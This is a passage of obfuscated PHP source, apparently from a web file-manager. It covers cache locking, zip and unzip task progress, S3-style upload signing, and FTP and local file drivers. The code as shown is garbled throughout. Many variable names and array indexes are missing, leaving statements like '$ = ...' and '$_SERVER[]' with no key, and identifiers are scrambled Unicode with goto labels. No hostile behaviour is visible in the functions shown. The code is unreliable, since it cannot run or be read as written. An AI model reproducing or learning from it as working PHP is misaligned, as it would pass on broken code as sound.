$GLOBALS[$υ[6]][$υ[349]]; self::$cachePath = $ʲ[$υ[200]][$υ[84]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($߮, $ = 0) { $ʓ =& $_SERVER[]; $ϒځ = microtime(!0); $ް = $ϒځ + $ + 0.0001; $à = rtrim(self::$cachePath, $ʓ[8]) . $ʓ[860] . md5($߮) . $ʓ[857]; if (file_exists($à) && filemtime($à) && filemtime($à) < time() - 10) { @unlink($à); } do { if (file_exists($à)) { cacheLockWait(); continue; } $ = fopen($à, $ʓ[861]); if (!$) { return !1; } $ٵ = flock($, LOCK_EX | LOCK_NB); self::$caches[$߮] = array($ʓ[862] => $, $ʓ[200] => $à); fwrite($, $ް); clearstatcache(); if ($ && $ٵ) { return !0; } cacheLockWait(); } while (microtime(!0) < $ް); $this->unlock($߮); return !1; } public function lockGet($) { $ϥ =& $_SERVER[]; $ = rtrim(self::$cachePath, $ϥ[8]) . $ϥ[860] . md5($) . $ϥ[857]; return file_exists($); } public function unlock($Ƿޢ) { $ =& $_SERVER[]; $ = self::$caches[$Ƿޢ]; if (!$) { return; } @flock($[$[862]], LOCK_UN); @fclose($[$[862]]); @unlink($[$[200]]); unset(self::$caches[$Ƿޢ]); } } goto BԆ盷; F̑: class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $ = 5.0) { if (!$) { return; } $ = Cache::get($); if (!$ || timeFloat() - floatVal($) >= $) { Cache::set($, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($Ԭ, $, $܂, $۟ = 5.0) { $ =& $_SERVER[]; if (!$Ԭ || !$) { return; } self::$asyncAdd = !0; $ = $[1766]; $ = Cache::get($, !0); $ = array($[1767] => timeFloat(), $[1768] => timeFloat(), $[264] => $, $[1761] => $܂, $[180] => $۟); if (is_array($[$Ԭ])) { $[$[1768]] = $[$Ԭ][$[1768]]; } if (is_array($[$Ԭ])) { if (timeFloat() - $[$Ԭ][$[1767]] < $[$[180]] * 0.3) { return; } $[$[1768]] = $[$Ԭ][$[1768]]; } $[$Ԭ] = $; Cache::set($, $, 60); Cache::removeMemory($); write_log($[1769] . $Ԭ . $[71] . $, $[1763]); } public static function timeLimitCallLoop() { $з =& $_SERVER[]; $ޢ = array($з[1770]); $ա = in_array(strtolower(ACTION), $ޢ); if (!$ա && !self::$asyncAdd) { return; } $٩ = $з[1766]; $҃ = Cache::get($٩, !0); if (!$҃ || count($҃) <= 0) { return; } $ = !1; $̓ = timeFloat(); $ = array(); foreach ($҃ as $߂ => $㹽) { if ($̓ - $㹽[$з[1768]] > $㹽[$з[180]]) { $ = !0; try { Hook::apply($㹽[$з[264]], $㹽[$з[1761]]); write_log($з[1771] . $߂ . $з[71] . $㹽[$з[264]] . $з[1772] . ACTION, $з[1763]); } catch (Exception $) { } continue; } $[$߂] = $㹽; } if (!$) { return; } if (!$) { return Cache::remove($٩); } Cache::set($٩, $, 60); Cache::removeMemory($٩); } public static function finished($ތ͖, $) { $嬓 =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($嬓[264] => $ތ͖, $嬓[1761] => $); } private static function finishedRun() { $ =& $_SERVER[]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $̲) { try { Hook::apply($̲[$[264]], $̲[$[1761]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $߹ =& $_SERVER[]; parent::startAfter(); Hook::bind($߹[1773], array($this, $߹[1774])); Hook::bind($߹[1189], array($this, $߹[1775])); $ަ =& $this->task; $ަ[$߹[1776]] = $߹[1190]; if (!$ަ[$߹[1561]]) { $ަ[$߹[1561]] = LNG($߹[1777]); } } protected function endAfter() { $ؠ =& $_SERVER[]; parent::endAfter(); Hook::unbind($ؠ[1773], array($this, $ؠ[1774])); Hook::unbind($ؠ[1189], array($this, $ؠ[1775])); } public function updateAfter() { $ =& $_SERVER[]; $Ŋة =& $this->task; if (!$Ŋة[$[783]] || !$Ŋة[$[760]]) { return; } if ($Ŋة[$[1776]] == $[1190]) { $ = 0; if ($Ŋة[$[1716]]) { $ = $Ŋة[$[1717]] / $Ŋة[$[1716]]; } $Ŋة[$[1665]] = $ * 0.3; } else { if ($Ŋة[$[1776]] == $[313]) { $ = $Ŋة[$[1664]] / $Ŋة[$[783]]; $Ŋة[$[1665]] = 0.3 + $ * 0.4; } else { if ($Ŋة[$[1776]] == $[107]) { $뷣 = 0; if ($Ŋة[$[1718]] == $[107]) { $뷣 = $Ŋة[$[1717]]; } $ = ($Ŋة[$[1721]] + $뷣) / $Ŋة[$[760]]; $Ŋة[$[1665]] = 0.3 + 0.4 + $ * 0.3; } } } if ($Ŋة[$[1665]] > 0) { $ = timeFloat() - $Ŋة[$[1667]] - $Ŋة[$[1670]]; $Ŋة[$[1671]] = $ * (1 - $Ŋة[$[1665]]) / $Ŋة[$[1665]]; } } public function addFile($߃) { $ҍ =& $_SERVER[]; $˄ =& $this->task; $ = IO::info($߃); $˄[$ҍ[1714]] = $[$ҍ[32]]; $˄[$ҍ[1716]] = $[$ҍ[76]]; $˄[$ҍ[1717]] = 0; $˄[$ҍ[1060]] = $ҍ[1737]; $˄[$ҍ[1718]] = $ҍ[1190]; $˄[$ҍ[760]] = $[$ҍ[76]]; $˄[$ҍ[783]] = 1; $ = 0; $˄[$ҍ[1725]] = array($ҍ[1726] => $ + 1, $ҍ[420] => $[$ҍ[32]], $ҍ[84] => $[$ҍ[84]], $ҍ[509] => $[$ҍ[509]] ? $[$ҍ[509]] : $[$ҍ[84]]); $this->update(); } public function unzipAfter($Ɵ) { $κ =& $_SERVER[]; $Γ܄ =& $this->task; $Γ܄[$κ[1776]] = $κ[107]; $ = IO::infoWithChildren($Ɵ); $ = 0; $Γ܄[$κ[1725]] = array($κ[1726] => $ + 1, $κ[420] => $[$κ[32]], $κ[84] => $[$κ[84]], $κ[509] => $[$κ[509]] ? $[$κ[509]] : $[$κ[84]]); if ($[$κ[33]] == $κ[200]) { $Γ܄[$κ[783]] = 1; } else { $Γ܄[$κ[783]] = $[$κ[79]][$κ[77]]; } $Γ܄[$κ[1060]] = $κ[12]; $Γ܄[$κ[1718]] = 0; $Γ܄[$κ[1664]] = 0; $Γ܄[$κ[1716]] = 0; $Γ܄[$κ[1717]] = 0; $Γ܄[$κ[1714]] = $κ[12]; $Γ܄[$κ[1721]] = 0; $Γ܄[$κ[760]] = $[$κ[76]]; $this->update(); self::log($κ[1778] . json_encode(array($Γ܄, $))); } public function nameParse($) { $ =& $_SERVER[]; $ =& $this->task; if ($[$[1776]] == $[1190]) { $[$[1776]] = $[313]; $[$[1721]] = 0; $[$[760]] = 0; } $ = get_path_this($); if (strstr($, $[10])) { $[$[1664]] += 1; $[$[783]] += 1; } $[$[1714]] = $; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1779], array($this, $[1774])); $┎ =& $this->task; $┎[$[1776]] = $[1190]; if (!$┎[$[1561]]) { $┎[$[1561]] = LNG($[1780]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1779], array($this, $[1774])); } public function updateAfter() { $ܿ曏 =& $_SERVER[]; $댕 =& $this->task; if (!$댕[$ܿ曏[783]] || !$댕[$ܿ曏[760]]) { return; } if ($댕[$ܿ曏[1776]] == $ܿ曏[1190]) { $ = $댕[$ܿ曏[1717]]; if ($댕[$ܿ曏[1718]] != $ܿ曏[1190]) { $ = 0; } $ޫ = ($댕[$ܿ曏[1721]] + $) / $댕[$ܿ曏[760]]; $댕[$ܿ曏[1665]] = $ޫ * 0.3; } else { if ($댕[$ܿ曏[1776]] == $ܿ曏[313]) { $ޫ = $댕[$ܿ曏[1664]] / $댕[$ܿ曏[783]]; $댕[$ܿ曏[1665]] = 0.3 + $ޫ * 0.5; } else { if ($댕[$ܿ曏[1776]] == $ܿ曏[107]) { $ޫ = 0; if ($댕[$ܿ曏[1716]]) { $ޫ = $댕[$ܿ曏[1717]] / $댕[$ܿ曏[1716]]; } $댕[$ܿ曏[1665]] = 0.3 + 0.5 + $ޫ * 0.2; } } } if ($댕[$ܿ曏[1665]] > 0) { $ = timeFloat() - $댕[$ܿ曏[1667]] - $댕[$ܿ曏[1670]]; $댕[$ܿ曏[1671]] = $ * (1 - $댕[$ܿ曏[1665]]) / $댕[$ܿ曏[1665]]; } } public function copyFileStart($˅, $ۺ, $թԽ, $ě, $ϖ, $ǯĎ) { $Ԕ =& $_SERVER[]; parent::copyFileStart($˅, $ۺ, $թԽ, $ě, $ϖ, $ǯĎ); $Ŝƒ =& $this->task; if ($Ŝƒ[$Ԕ[1776]] == $Ԕ[313]) { $Ŝƒ[$Ԕ[1776]] = $Ԕ[107]; } $this->update(); } public function copyFileEnd($ݟ, $ژ, $, $Ȏ, $٦, $̓) { $Ưֻ =& $_SERVER[]; $ =& $this->task; $[$Ưֻ[1717]] = $[$Ưֻ[1716]]; $[$Ưֻ[1721]] += $[$Ưֻ[1716]]; $[$Ưֻ[1718]] = $Ưֻ[12]; $this->update(); } public function nameParse($蝥) { $ =& $_SERVER[]; $ꤨ =& $this->task; if ($ꤨ[$[1664]] < $ꤨ[$[783]]) { $ = get_path_this($蝥); if (strstr($, $[10])) { $ꤨ[$[1664]] += 1; } } if ($ꤨ[$[1776]] == $[1190]) { $ꤨ[$[1776]] = $[313]; } $ꤨ[$[1714]] = $蝥; $this->update(); } } goto e; bס: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($ނ) { parent::__construct($ނ); $this->signatureVersion($_SERVER[][216]); } public function uploadFormData($ғ, $ = 3600) { $ =& $_SERVER[]; $ = $[199]; $ = $[1354]; $͓Ď = $[62]; $ = gmdate($[1355]); $ڈ = gmdate($[747]); $ = $[1356]; $՛ = $ . $[12]; $® = $[1318]; $× = array($this->accessKey, $ڈ, $this->region, $͓Ď, $); $ = implode($[8], $×); $ = array($[1320] => gmdate($[1319], strtotime($[1357])), $[1321] => array(array($[1323] => $this->bucket), array($[1322] => $), array($[1324], $[1325], $[12]), array($[1324], $[1358], $[12]), array($[1324], $[1359], $[12]), array($[1326] => $®), array($[1360] => $), array($[1361] => $), array($[1362] => $), array($[1363] => $՛))); $ʜ = base64_encode(json_encode($)); $͏ = hash_hmac($[1364], $ڈ, $[1365] . $this->secret, !0); $Ͱ = hash_hmac($[1364], $this->region, $͏, !0); $ᤜ = hash_hmac($[1364], $͓Ď, $Ͱ, !0); $ = hash_hmac($[1364], $, $ᤜ, !0); $ӗ = hash_hmac($[1364], $ʜ, $); $˓ = array($[215] => $[12], $[1366] => $[12], $[1322] => $, $[1326] => $®, $[1330] => $ʜ, $[1367] => $, $[1368] => $, $[1369] => $, $[1370] => $՛, $[1371] => $ӗ, $[182] => $this->getHost()); return $˓; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\x31"; public $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($) { $ =& $_SERVER[]; global $config; $this->appCharset = $config[$[1372]]; $this->systemCharset = $config[$[1373]]; if (isset($[$[1374]]) && $[$[1374]]) { $this->systemCharset = $[$[1374]]; } } public function iconvApp($ۮ) { return $this->iconvTo($ۮ, $this->systemCharset, $this->appCharset); } public function iconvSystem($ҩ) { return $this->iconvTo($ҩ, $this->appCharset, $this->systemCharset); } public function getPathOuter($˖) { $ =& $_SERVER[]; $ɭ = $this->iconvApp($this->pathBase); $˖ = $this->iconvApp($˖); if (substr($ɭ, 0, 2) == $[1375]) { $ɭ = BASIC_PATH . substr($ɭ, 2); } if (substr($˖, 0, 2) == $[1375]) { $˖ = BASIC_PATH . substr($˖, 2); } $ɭ = KodIO::clear($ɭ); $˖ = KodIO::clear($˖); $˖ = substr($˖, strlen($ɭ)); if (empty($this->pathDriver)) { return $˖; } return $this->pathDriver . $[8] . ltrim($˖, $[8]); } private function _init($ꌿ = array()) { $юԧ =& $_SERVER[]; if (!function_exists($юԧ[1376])) { throw new Exception(LNG($юԧ[1377])); } $this->config = $ꌿ; $this->charsetReset($ꌿ); foreach ($ꌿ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } return $this->_login($ꌿ); } private function _login($) { $ =& $_SERVER[]; static $ = array(); $♜ = md5(json_encode($)); if (isset($[$♜])) { foreach ($[$♜] as $ => $鯹) { $this->{$} = $鯹; } return !0; } $蛥 = parse_url(trim($this->server, $[8])); $this->host = $蛥[$[182]]; $֞ = isset($蛥[$[181]]) && $蛥[$[181]] == $[1378] ? !0 : !1; $this->scheme = $֞ ? $[1379] : $[1380]; $this->port = isset($蛥[$[183]]) ? $蛥[$[183]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ = $this->pasv == $[88] ? !0 : !1; @ftp_pasv($this->connect, $); $[$♜] = array($[1381] => $this->connect, $[182] => $this->host, $[181] => $this->scheme, $[183] => $this->port); return $; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($, $畉 = '', $ = REPEAT_RENAME) { if ($this->setContent($, $畉)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $݃ˌ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); if ($this->_isFolder($) || @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } if (!$this->mkdir($this->pathFather($))) { return !1; } if ($ = @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } return !1; } public function copyFile($, $) { if (!$this->_isconn()) { return !1; } $Ռ = $this->pathThis($this->iconvSystem($)); $ = $this->tempFile($Ռ); $ = $this->iconvApp($); $this->download($, $); $ = $this->upload($, $); $this->tempFileRemve($); return $; } public function moveFile($ȫ, $𲁳) { if (!$this->_isconn()) { return !1; } $ȫ = $this->iconvSystem($ȫ); $𲁳 = $this->iconvSystem($𲁳); $٘ = @ftp_rename($this->connect, $ȫ, $𲁳); return $٘ ? $this->getPathOuter($𲁳) : !1; } public function delFile($鉪) { if (!$this->_isconn()) { return !1; } $鉪 = $this->iconvSystem($鉪); return @ftp_delete($this->connect, $鉪); } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $栎 = $җ = array(); $this->fileList($, $栎, $җ, !0); $this->listItemCache = !0; foreach ($җ as $) { $ = $this->iconvSystem($[$_SERVER[][32]]); $ނ = @ftp_delete($this->connect, $); if (!$ނ) { return !1; } } foreach ($栎 as $) { $ = $this->iconvSystem($); $ނ = @ftp_rmdir($this->connect, $); if (!$ނ) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($͟, $نՔ) { $͂ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($͟), $نՔ); $ = $this->iconvSystem($); $͟ = $this->iconvSystem($͟); $悭 = $this->pathFather($͟); $ = rtrim($悭, $͂[8]) . $͂[8] . $; $ = @ftp_rename($this->connect, $͟, $); $ = $this->iconvApp($); return $ ? $this->getPathOuter($) : !1; } private function folderInfo($Ѥ, $訮 = false) { $ =& $_SERVER[]; $ҍ = array($[32] => $this->pathThis($Ѥ), $[84] => $this->getPathOuter($[8] . $Ѥ), $[33] => $[75]); if ($訮) { return $ҍ; } $ҍ[$[201]] = $ҍ[$[85]] = 0; $ҍ[$[202]] = $ҍ[$[203]] = !0; return $ҍ; } private function fileInfo($՚, $ֱ = false, $ = array()) { $ =& $_SERVER[]; $̏ = array($[32] => $this->pathThis($՚), $[84] => $this->getPathOuter($[8] . $՚), $[33] => $[200], $[76] => isset($[$[76]]) ? $[$[76]] : 0, $[174] => $this->ext($՚)); if ($ֱ) { return $̏; } $̏[$[201]] = $̏[$[85]] = 0; $̏[$[202]] = $̏[$[203]] = !0; $ = $this->iconvSystem($՚); $̏[$[85]] = @ftp_mdtm($this->connect, $); if (empty($)) { $ = $this->objectMeta($՚); if (!$) { return $̏; } } $̏[$[76]] = $[$[76]]; return $̏; } public function size($ɿ) { $ṕĨ = $this->objectMeta($ɿ); return $ṕĨ ? $ṕĨ[$_SERVER[][76]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($ӷ, &$, &$℀, $ = false) { $֕ǁ =& $_SERVER[]; $ӷ = $this->iconvSystem($ӷ); if (!$this->isFolder($ӷ)) { return !1; } @ftp_chdir($this->connect, $֕ǁ[8]); $ӷ = rtrim($ӷ, $֕ǁ[8]) . $֕ǁ[8]; check_abort(); $ = @ftp_rawlist($this->connect, $ӷ); if (!$) { $ = array(); } $ = array($֕ǁ[10] => 1, $֕ǁ[1382] => 1); foreach ($ as $ Թ) { $ = $this->_listItem($ Թ); if ($[0] == $֕ǁ[755]) { continue; } $Ř = $[8]; if (empty($Ř) && $Ř !== $֕ǁ[198] || isset($[$Ř])) { continue; } $Ř = $this->iconvApp($ӷ . ltrim($Ř, $֕ǁ[8])); $Ӭ = array($֕ǁ[32] => $Ř, $֕ǁ[33] => $֕ǁ[200], $֕ǁ[76] => $[4]); if (substr($ Թ, 0, 1) == $֕ǁ[1383]) { $Ӭ[$֕ǁ[33]] = $֕ǁ[75]; $Ӭ[$֕ǁ[76]] = 0; } $ = $Ӭ[$֕ǁ[33]] == $֕ǁ[75] ? !0 : !1; $this->cacheMethodInfoSet($Ř, $, $Ӭ); if ($) { $[] = $Ř; if ($) { $this->fileList($Ř, $, $℀, $); } continue; } $℀[] = $Ӭ; } $this->cacheMethodInfoSet($ӷ, !0); } private function _listItem($Ƚ) { if (empty($Ƚ)) { return array(); } $ = preg_split($_SERVER[][1384], $Ƚ); if (count($) <= 9) { return $; } $[8] = trim(substr($Ƚ, strpos($Ƚ, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($ݐ, $ = false) { $¿ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $μ = $Ǭ = array(); $this->fileList($ݐ, $μ, $Ǭ); foreach ($μ as $ъ => $ڃ؋) { $μ[$ъ] = $this->folderInfo($ڃ؋, $); } foreach ($Ǭ as $ъ => $ڃ؋) { $Ǭ[$ъ] = $this->fileInfo($ڃ؋[$¿[32]], $, $ڃ؋); } return array($¿[82] => $μ, $¿[83] => $Ǭ); } public function has($ڜ⡺, $ = false, $ = true) { $鮆 =& $_SERVER[]; $ؚ = $˓ = array(); $ = $ ? !0 : !1; $this->fileList($ڜ⡺, $ؚ, $˓, $); if ($) { return array($鮆[207] => count($˓), $鮆[208] => count($ؚ)); } if ($) { if (count($˓)) { return !0; } } else { if (count($ؚ)) { return !0; } } return !1; } public function listAll($ˆ) { $З =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ڍՂ = array(); $this->fileList($ˆ, $, $ڍՂ, !0); $ю = array_to_keyvalue($ڍՂ, $З[32]); foreach ($ as $͌) { if (is_string($͌)) { $ю[$͌] = array($З[76] => 0); } } return $this->listAllFiles($ˆ, $ю); } public function getContent($Ο) { if (!$this->_isconn()) { return !1; } $Ο = $this->iconvSystem($Ο); return $this->fileSubstr($Ο); } public function setContent($Ȕ, $Ӓ = '') { if (!$this->_isconn()) { return !1; } $ٶ = $this->pathThis($this->iconvSystem($Ȕ)); $ = $this->tempFile($ٶ); file_put_contents($, $Ӓ); $ב = $this->upload($Ȕ, $this->iconvApp($)); $this->tempFileRemve($); return $ב; } public function fileSubstr($, $ = 0, $Ӫ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $, $Ӫ); } private function ftpRequest($ٲ, $ = 0, $͊ = false) { $ٲ = $this->iconvSystem($ٲ); $ = $this->scheme . $this->host . $_SERVER[][4] . $this->port; $ր = curl_init(); curl_setopt($ր, CURLOPT_URL, $ . $this->pathEncode($ٲ)); curl_setopt($ր, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($͊) { $ګ = $ + $͊ - 1; curl_setopt($ր, CURLOPT_RANGE, "{$}\x2d{$ګ}"); } curl_setopt($ր, CURLOPT_RETURNTRANSFER, 1); $á = curl_exec($ր); curl_close($ր); return $á; } public function upload($׃, $, $Ҩ = false, $˷ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($׃))) { return !1; } $׃ = $this->iconvSystem($׃); $ = $this->iconvSystem($); $¯ = ftp_nb_put($this->connect, $׃, $, FTP_BINARY); while ($¯ == FTP_MOREDATA) { $¯ = ftp_nb_continue($this->connect); } if ($¯ != FTP_FINISHED) { return !1; } return $this->getPathOuter($׃); } public function download($ѻ۾, $Ժ = '') { if (!$this->_isconn()) { return !1; } $Ζ = $this->pathFather($Ժ); if (!IO::mkdir($Ζ)) { return !1; } $ѻ۾ = $this->iconvSystem($ѻ۾); $Ժ = $this->iconvSystem($Ժ); $ = ftp_nb_get($this->connect, $Ժ, $ѻ۾, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { return !1; } return $this->iconvApp($Ժ); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][165], $); } protected function objectMeta($ޢׯ) { return $this->cacheMethod($_SERVER[][167], $ޢׯ); } protected function _objectMeta($ǝ) { $ӣ =& $_SERVER[]; if ($ǝ == $ӣ[12] || $ǝ == $ӣ[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ǝ = $this->iconvSystem($ǝ); $ = array($ӣ[32] => $this->iconvApp($ǝ), $ӣ[33] => $ӣ[200], $ӣ[76] => 0); @ftp_chdir($this->connect, $ӣ[8]); $挼 = @ftp_size($this->connect, $ǝ); if ($挼 != -1) { $[$ӣ[76]] = $挼; } else { $ز = @ftp_chdir($this->connect, $ǝ); if (!$ز) { return !1; } $[$ӣ[33]] = $ӣ[75]; } return $; } protected function _isFolder($֧) { $կ =& $_SERVER[]; if ($֧ == $կ[12] || $֧ == $կ[8]) { return !0; } $¥ = $this->_objectMeta($֧); return isset($¥[$կ[33]]) && $¥[$կ[33]] == $կ[75] ? !0 : !1; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[][1375]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($ʮ) { $ =& $_SERVER[]; global $config; return $this->iconvTo($ʮ, $config[$[1373]], $config[$[1372]]); } public function iconvSystem($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1372]], $config[$[1373]]); } public function getPathOuter($̳) { $ٰ =& $_SERVER[]; $Ƶ = $this->iconvApp($this->pathBase); $̳ = $this->iconvApp($̳); if (substr($Ƶ, 0, 2) == $ٰ[1375]) { $Ƶ = BASIC_PATH . substr($Ƶ, 2); } if (substr($̳, 0, 2) == $ٰ[1375]) { $̳ = BASIC_PATH . substr($̳, 2); } $Ƶ = KodIO::clear($Ƶ); $̳ = KodIO::clear($̳); $̳ = substr($̳, strlen($Ƶ)); if (empty($this->pathDriver)) { return $̳; } return $this->pathDriver . $ٰ[8] . ltrim($̳, $ٰ[8]); } public function mkfile($Ѣ֚, $Ź = '', $ힾ = REPEAT_RENAME) { $Ѣ֚ = $this->iconvSystem($Ѣ֚); @touch($Ѣ֚); if ($Ź) { file_put_contents($Ѣ֚, $Ź); } @chmod($Ѣ֚, $this->pathAuth); return is_file($Ѣ֚) ? $this->getPathOuter($Ѣ֚) : !1; } public function mkdir($, $൭ = REPEAT_SKIP) { $ = $this->iconvSystem($); if (is_dir($)) { return $this->getPathOuter($); } @mkdir($, $this->pathAuth, !0); @chmod($, $this->pathAuth); return is_dir($) ? $this->getPathOuter($) : !1; } public function copyFile($, $욓) { $this->mkdir($this->pathFather($욓)); $ = $this->iconvSystem($); $욓 = $this->iconvSystem($욓); $湸 = copy_64($, $욓); @chmod($욓, $this->pathAuth); return $湸 ? $this->getPathOuter($욓) : !1; } public function moveFile($⼙, $) { $this->mkdir($this->pathFather($)); $⼙ = $this->iconvSystem($⼙); $ = $this->iconvSystem($); $ڲݹ = intval(@rename($⼙, $)); if (!$ڲݹ) { if ($ڲݹ = intval(@copy_64($⼙, $))) { @unlink($⼙); } } @chmod($, $this->pathAuth); return $ڲݹ ? $this->getPathOuter($) : !1; } public function movePath($ƺ, $, $ô = false) { $ʪ =& $_SERVER[]; $ƺ = $this->iconvSystem($ƺ); $ = $this->iconvSystem($); $Ơ = rtrim($, $ʪ[8]) . $ʪ[8] . ($ô ? $ô : get_path_this($ƺ)); if (file_exists($Ơ)) { return !1; } $٧ = intval(@rename($ƺ, $Ơ)); $٧ = file_exists($Ơ); return $٧ ? $this->getPathOuter($Ơ) : !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (!@unlink($)) { return !1; } } else { return !0; } } public function delFolder($՚) { $ =& $_SERVER[]; $՚ = $this->iconvSystem($՚); if (!is_dir($՚)) { return !0; } if (!($ᰊ = opendir($՚))) { return !1; } while (($𱈧 = readdir($ᰊ)) !== !1) { if ($𱈧 == $[10] || $𱈧 == $[1382]) { continue; } $鼴 = $՚ . $[8] . $𱈧; if (is_file($鼴) || is_link($鼴)) { if (!unlink($鼴)) { chmod($鼴, $this->pathAuth); if (!unlink($鼴)) { return !1; } } } else { if (is_dir($鼴)) { chmod($鼴, $this->pathAuth); $鼴 = $this->iconvApp($鼴); if (!$this->delFolder($鼴)) { return !1; } } } } closedir($ᰊ); return rmdir($՚); } public function rename($ؗ, $Ć̏) { $ɖĬ =& $_SERVER[]; $ = $this->fileNameAuto($this->pathFather($ؗ), $Ć̏); $ = $this->iconvSystem($); $ؗ = $this->iconvSystem($ؗ); $ = $this->pathFather($ؗ); $ˇ = rtrim($, $ɖĬ[8]) . $ɖĬ[8] . $; $ = @rename($ؗ, $ˇ); $ˇ = $this->iconvApp($ˇ); return $ ? $this->getPathOuter($ˇ) : !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public function info($֝) { $֝ = $this->iconvSystem($֝); if ($this->isFolder($֝)) { return $this->folderInfo($֝); } else { if ($this->isFile($֝)) { return $this->fileInfo($֝); } } return !1; } protected function infoChildren($, &$ê, $Ύ = true) { $Ñڂ =& $_SERVER[]; check_abort_echo(); $ = rtrim($, $Ñڂ[8]) . $Ñڂ[8]; if ($Ύ) { $ = $this->iconvSystem($); } if (!($ = @opendir($))) { return; } while (($ = readdir($)) !== !1) { if ($ == $Ñڂ[10] || $ == $Ñڂ[1382]) { continue; } $ϭ = $ . $; if (is_file($ϭ) || is_link($ϭ)) { $ê[$Ñڂ[77]]++; $ê[$Ñڂ[76]] += filesize_64($ϭ); } else { if (is_dir($ϭ)) { $ê[$Ñڂ[78]]++; $this->infoChildren($ϭ, $ê, !1); } } } closedir($); } private function folderInfo($, $à = false) { $۱ =& $_SERVER[]; $ = rtrim($, $۱[8]) . $۱[8]; $ = $this->iconvApp($this->pathThis($)); if ($Ã) { return array($۱[32] => $, $۱[84] => $this->getPathOuter($), $۱[33] => $۱[75]); } $ = array($۱[32] => $, $۱[84] => $this->getPathOuter($), $۱[33] => $۱[75], $۱[201] => @filectime($), $۱[85] => @filemtime($), $۱[1385] => @fileatime($), $۱[1386] => is_readable($), $۱[1387] => is_writable($), $۱[1388] => get_mode($)); return $; } private function fileInfo($ϒ, $͍ã = false) { $ȴ =& $_SERVER[]; $ = $this->iconvApp($this->pathThis($ϒ)); if ($͍ã) { return array($ȴ[32] => $, $ȴ[84] => $this->getPathOuter($ϒ), $ȴ[33] => $ȴ[200], $ȴ[76] => $this->size($ϒ), $ȴ[174] => $this->ext($)); } $匀͓ = array($ȴ[32] => $, $ȴ[84] => $this->getPathOuter($ϒ), $ȴ[33] => $ȴ[200], $ȴ[201] => @filectime($ϒ), $ȴ[85] => @filemtime($ϒ), $ȴ[1385] => @fileatime($ϒ), $ȴ[76] => $this->size($ϒ), $ȴ[174] => $this->ext($), $ȴ[1386] => is_readable($ϒ), $ȴ[1387] => is_writable($ϒ), $ȴ[1388] => get_mode($ϒ)); return $匀͓; } public function exist($㨺) { $㨺 = $this->iconvSystem($㨺); return @file_exists($㨺); } public function isFile($𘥏) { $𘥏 = $this->iconvSystem($𘥏); return @is_file($𘥏); } public function isFolder($ǩ̎) { $ǩ̎ = $this->iconvSystem($ǩ̎); return @is_dir($ǩ̎); } public function listPath($Ƹ¶, $α = false) { $䔃 =& $_SERVER[]; $Ƹ¶ = $this->iconvSystem($Ƹ¶); $Ƹ¶ = rtrim($Ƹ¶, $䔃[8]) . $䔃[8]; $ = array($䔃[82] => array(), $䔃[83] => array()); if (!($݈ = @opendir($Ƹ¶))) { return $; } while (($щЁ = readdir($݈)) !== !1) { if ($щЁ == $䔃[10] || $щЁ == $䔃[1382]) { continue; } $ = $Ƹ¶ . $щЁ; if (is_file($)) { $[$䔃[83]][] = $this->fileInfo($, $α); } else { $[$䔃[82]][] = $this->folderInfo($, $α); } } closedir($݈); return $; } public function listAll($ۀ, &$ҿ = array()) { $ =& $_SERVER[]; $ۀ = $this->iconvSystem($ۀ); $ۀ = rtrim($ۀ, $[8]) . $[8]; if (!($ = @opendir($ۀ))) { return $ҿ; } while (($Օˣ = 